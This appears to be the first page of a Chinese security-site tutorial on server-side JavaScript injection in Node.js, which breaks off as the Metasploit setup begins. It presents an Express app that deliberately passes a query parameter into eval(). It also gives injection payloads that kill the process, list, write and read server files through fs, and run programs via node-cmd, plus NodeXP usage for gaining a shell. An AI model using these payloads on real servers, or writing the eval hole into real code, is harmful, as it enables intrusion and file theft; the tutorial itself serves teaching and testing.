欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

SSJI —— Node.js漏洞审计系列(一)

来源:本站整理 作者:佚名 时间:2019-04-10 TAG: 我要投稿

hello我是掌控安全实验室的聂风,JavaScript在Node.js的帮助下变成了服务端脚本语言,那么既然是服务端脚本语言,就可能存在一些安全性问题。SSJI(服务器端JavaScript注入) 就是一种比较新颖的攻击手法。攻击者可以利用JS函数在服务器上执行恶意JS代码获得cmdshell。
 
0x01 环境搭建
工具:
Node.js
https://nodejs.org/dist/v10.15.3/node-v10.15.3-x64.msi
Nodexp
https://github.com/esmog/nodexp/archive/master.zip
Metasploit-frameword(MSF)
搭建:
先傻瓜式的安装Node.js
安装好后Node.js 记得再安装一个express框架
npm install express –save (新版的Node.js都自带了npm)
 
0x02 SSJI危害
如果没有对输入进行检测,那么可能会容易受到攻击,攻击者可以利用JS函数在服务器上执行恶意JS代码。
可利用的函数有什么?
Eval()
setTimeout()
Setinterval()
Funtion()
例如:(Eval.js:)
var express = require('express');
var app = express();
app.get('/', function(req, res) {
     var resp=eval(req.query.name);
     res.send('Response'+resp);
});
app.listen(3002);
console.log('Server runing at http://127.0.0.1:3002/');
当我们使用Node.js去运行这个js的时候会在本地开启一个3002端口的WEB服务,然后他会获取GET方式传参上来的传参名为name的值,然后将获取到的值放在eval()函数中执行。
我们去访问这个端口

然后我们可以对他进行GET传参,比如name=console.log(“hello World”);

传参后就很明显执行了,在命令行中很明显的输出了Hello World!
那么我们既然能够执行输出,是不是能执行其他语句?比如一些恶意语句.
process.exit() / process.kill(process.pid)
还可以杀死他运行进程(NodeJs)

进程被终结掉了。
基本上,攻击者可以在系统上执行/执行几乎任何操作(在用户权限限制内) 我们还可以尝试调用核心模块fs读取/列出当前目录下的文件名和文件夹名
res.end(require('fs').readdirSync('.').toString())

我们也可以尝试调用核心模块fs写入文件(虽然没有回显,但是还是成功写入)
res.end(require('fs').writeFileSync('message.txt','hello'))

我们也可以尝试调用核心模块fs去读取他的文件
res.end(require('fs').readFileSync('a.js','utf-8'))


如果目标的机器上面安装了node-cmd就可以调用cmd (为显示明了我去调用一个exe安装)
var nodeCmd = require('node-cmd');nodeCmd.run('360cse_9.5.0.138.exe');


很明显我们就调用了cmd
 
0x03 通过nodexp获取cmdshell
我们也可以尝试使用NodeXP工具加MSF来成功的获取一个cmdshell
使用方法:
GET:  python nodexp.py –url=http://localhost:3001/?name=[INJECT_HERE]POST:  python nodexp.py –url=http://localhost:3001/post.js –pdata=username=[INJECT_HERE]



设置一个攻击机器的IP(装有MSF)

设定端口

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载